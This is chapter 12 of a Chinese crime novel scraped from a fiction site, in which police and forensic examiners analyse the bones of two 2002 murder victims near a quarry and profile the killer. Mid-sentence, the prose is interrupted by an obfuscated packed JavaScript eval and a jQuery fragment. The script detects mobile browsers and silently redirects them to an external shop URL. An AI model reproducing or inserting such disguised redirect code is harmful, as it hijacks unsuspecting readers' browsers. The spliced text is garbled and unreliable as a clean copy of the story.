文趣网 > 都市小说 > 天衣无缝?不存在的 > 12. 第十二章
    这两个案子的共同点是:同一个凶手,同样的施虐手法,同样的精细操作。不同点则是:第一个死者有仪式性的埋葬,第二个死者被草草处理。

    凶手这种区分对待,只有一种可能。

    很快,纪荀说着:“因为第一个死者是核心。凶手对他投入了大量时间和精力,囚禁、施虐、分尸、埋葬,整个过程持续了几个月。第二个死者是被牵连进来的,或者是在第一个死者的囚禁过程中被凶手发现的。凶手对他没有特殊的执念,处理方式就简单得多。”

    “但枪杀一个人比刀杀一个人风险更大,枪声会被人听到。”林墨说。

    纪荀停了一下,看着石室里的石壁。

    “凶手可能就是在石洞里开的枪。石洞是个天然的消声器,枪声在洞里会被石壁反射和吸收,传到洞外的时候已经衰减到和鞭炮声差不多了。凤凰山附近常有采石场放炮,一声枪响不会引起任何注意,村民对类似声音已经习以为常。”

    林墨顺着他的思路说:“如果是这样,那石洞里应该还有弹壳。”

    “那就把它找出来。”纪荀声音坚定。

    很快,技术组的人在石室里开始做地毯式搜索。

    石室面积不大,但地面铺满了碎石和沙子,要找一颗弹壳无异于大海捞针。苏棠带来了金属探测器,一寸一寸地扫过地面。探测器在碎石间不断发出蜂鸣声,她检查过后,发现大部分是铁钉和铁丝,也有一些是当年遗落的硬币和瓶盖。

    搜索进行了一个多小时,在石室西北角的一堆碎石下面,探测器又发出了持续的尖锐蜂鸣。

    高代辉蹲下去,用手铲拨开碎石,在十公分的深度找到了一枚已经生锈的弹壳。

    弹壳看着就是土制枪的弹壳,底部的底火已经击发,弹壳壁上有火药燃烧后的残余。

    高代辉把弹壳夹进证物袋,递给了纪荀。

    “弹壳要和弹头做同一认定。如果能在第二个死者的颅骨里找到弹头,就能确认这把枪和这枚弹壳的关联。”纪荀看了看,又把装着弹壳的证物袋交给林墨,“第二个死者的颅骨碎片里有没有弹头?”

    林墨摇头:“颅骨碎片不全。目前找到的碎片只拼出了左半侧顶骨和颞骨,右侧颅骨缺失。弹头可能在右侧颅骨上,或者干脆贯穿了颅腔,留在了编织袋的其他位置。要继续清理编织袋才能确认。”

    苏棠已经在清理编织袋,她把袋子里的骨头一块一块取出来,按照解剖学位置排列。编织袋里的骨骼比想象中的更零碎,很多骨头被刻意打断,断口整齐,看起来是用了锯子或者剁骨刀。

    纪荀看到一块股骨,股骨的中段被锯断了,断面上有均匀的锯齿痕迹,每一道锯痕的间距都相同,这说明动手的人在锯的过程中保持了稳定的力度和速度。

    这种手法外行人做不来——外行人锯骨,锯痕会忽深忽浅,间距忽大忽小,因为手劲不匀。但这个人锯骨的方式像一个熟练的屠夫,或者一个外科医生。

    屠夫、外科医生、兽医、军~人。这些职业标签在纪荀脑子里越来越清晰。

    “职业画像。”他对林墨说,“凶手会熟练使用刀具,懂得捆绑固定,知道如何煮骨去肉,还掌握锯骨技术。他的职业和工作经验一定包含这些技能中的至少两项。二十年前凤凰山周边有什么样的从业人群?”

    大刘想了想,说:“采石场工人、伐木工、屠户、乡村医生、兽医、民~兵。如果算上周边乡镇,范围更大。”

    “先筛核心区域。凤凰山脚下五个村,加上采石场的工人名单。年龄范围定在二零零二年时二十五岁到四十五岁之间,男性,有独立住所或者能自由支配的独立空间。”纪荀说。

    大刘在旁边做记录,把这些指令逐一记下。

    下午两点,省厅增援的警力到了。两个中队的民警带着两条搜尸犬和三台探地雷达,开始以山神庙为中心向四周做地毯式搜索。

    沈毅也亲自来了,他站在山神庙的废墟里,听着纪荀的汇报,脸色越来越凝重。

    “至少两个死者。”纪荀说,“第一个死者年龄三十五到四十,身高一米七五,被长期囚禁,死因是颅脑损伤合并失血,死后被分尸,躯干埋在石坑里,四肢未找到。第二个死者年龄四十五岁以上,身高一米七左右,死因是枪伤,且骨骼被煮过,塞进编织袋藏在石洞石缝里。两个人的骨骼上都有同一种施虐痕迹,基本可以确定是同一个凶手所为。”

    沈毅沉默了一会儿,说:“时间呢?”

    “第一个死者的死亡时间是二零零二年十月中旬。第二个死者的死亡时间还要等法医做进一步检验,但从骨骼的风化程度和煮骨的痕迹来看,和第一个死者的时间不会相差太远,可能在同一年的秋天。”

    “二零零二年。”沈毅重复了一遍这个年份,“那一年凤凰山周边的派出所还在用纸质档案,很多材料可能已经销毁或者遗失了。查起来不容易。”

    “再不容易也要查。”纪荀说,“这个人在二零零二年秋天至少杀了两个人,其中一个被他囚禁了几个月。这种程度的犯罪不可能不留下任何痕迹。总有人在当年看到过什么,只是没有说出来,或者说了没有被重视。”

    沈毅点点头,说:“我让省厅档案科协助调取滨城市周边所有派出所二零零一年到二零零三年的失踪人员报案记录,不限年龄段,不限性别,全部调出来做比对。另外,通知各派出所翻查那几年的异常事件记录,入室盗窃、纵火、暴力伤害,任何和采石场、凤凰山有关的案件都要调出来。”

    “还有一件事。”纪荀说,“我们还在采石场的炸药孔里找到了铜片,铜片是从山神庙的供器上剪下来的。山神庙的供器不止一件,但庙里现在

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17742207|209124||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一件都没有了。这些供器是被凶手拿走的,还是被其他人偷走的,也需要查清楚。如果是凶手拿走的,他把供器用在了哪里,是卖了还是藏起来了,可能和案件有关。”

    沈毅把这个情况记下来,转身安排人去查。

    下午四点,搜尸犬在采石场东北方向的一处山沟里找到了一个编织袋。

    袋子的材质和石洞里发现的袋子一样,都是二十年前农村装化肥常用的蛇皮袋。袋子里装着几块已经白骨化的长骨。

    林墨赶到现场,把骨头取出来,就地进行初步检查。

    “股骨、胫骨、腓骨,左右对称,属于同一个体。”林墨测量了股骨的长度,“股骨最大长四十七公分,推算身高在一米七五左右。骨质化程度和石坑里的死者一致,年龄在三十五到四十之间。骨面上有捆绑留下的压迫痕迹,位置和石坑里死者的骨盆压痕对应。”

    他拿起一块胫骨,用放大镜观察骨面。胫骨中段有几道横向的切痕,深度很浅,没有伤及骨髓腔。切痕的分布模式和石坑里死者肋骨上的切痕一模一样。

    “是第一个死者的四肢。”林墨说,“躯干埋在石坑里,四肢则被埋在山沟里。且四肢的骨骼上也有相同的施虐痕迹,说明他在被捆绑时,四肢和躯干都遭受了同样的折磨。”

    纪荀站在山沟边上,看着林墨手里的骨头。四肢被分开处理,和躯干隔了至少五百米的距离。凶手选择了一个隐秘且有一定距离的地点,确保四肢不会轻易和躯干被一起发现。

    这个行动对凶手有什么意义呢?纪荀继续往下思考。

    死者四肢的埋藏方式和躯干完全不同。躯干有石棺封顶,四肢只是被塞进编织袋扔进山沟。这说明在凶手看来,躯干和四肢的意义是不等同的。躯干是核心,需要保护。四肢是附属,可以随便处理。

    这种区别对待不一定有其特殊意义。如果只是为了藏尸,用同样的方式处理所有尸块是最省事的。

    区别对待说明凶手在这个动作里有自己的逻辑。也许他相信躯干承载了某种东西,比如说生命、灵魂、或者罪责,所以需要被封印在石棺里。而四肢只是不重要的部分。

    纪荀把自己这个想法说给林墨听。

    林墨沉默了一会儿,说:“你的思路在往仪式的方向走。”

    “因为他的行为模式只能往这个方向解释。”纪荀说,“实用的逻辑解释不了凶手为何制作石棺,也解释不了石坑里扣子,更解释不了凶手在石壁上的刻字。”

    说到这,他停了一下,又说:“而且凶手还把山神庙里的供器拿走了,实用主义逻辑也解释不了铜片被剪碎藏在不同地点的行为。凶手的这些行为背后有一个我们还不理解的逻辑体系。这个体系在他的脑子里是自洽的。”

    林墨点点头,说:“如果我们能理解这个体系,就能找到他。”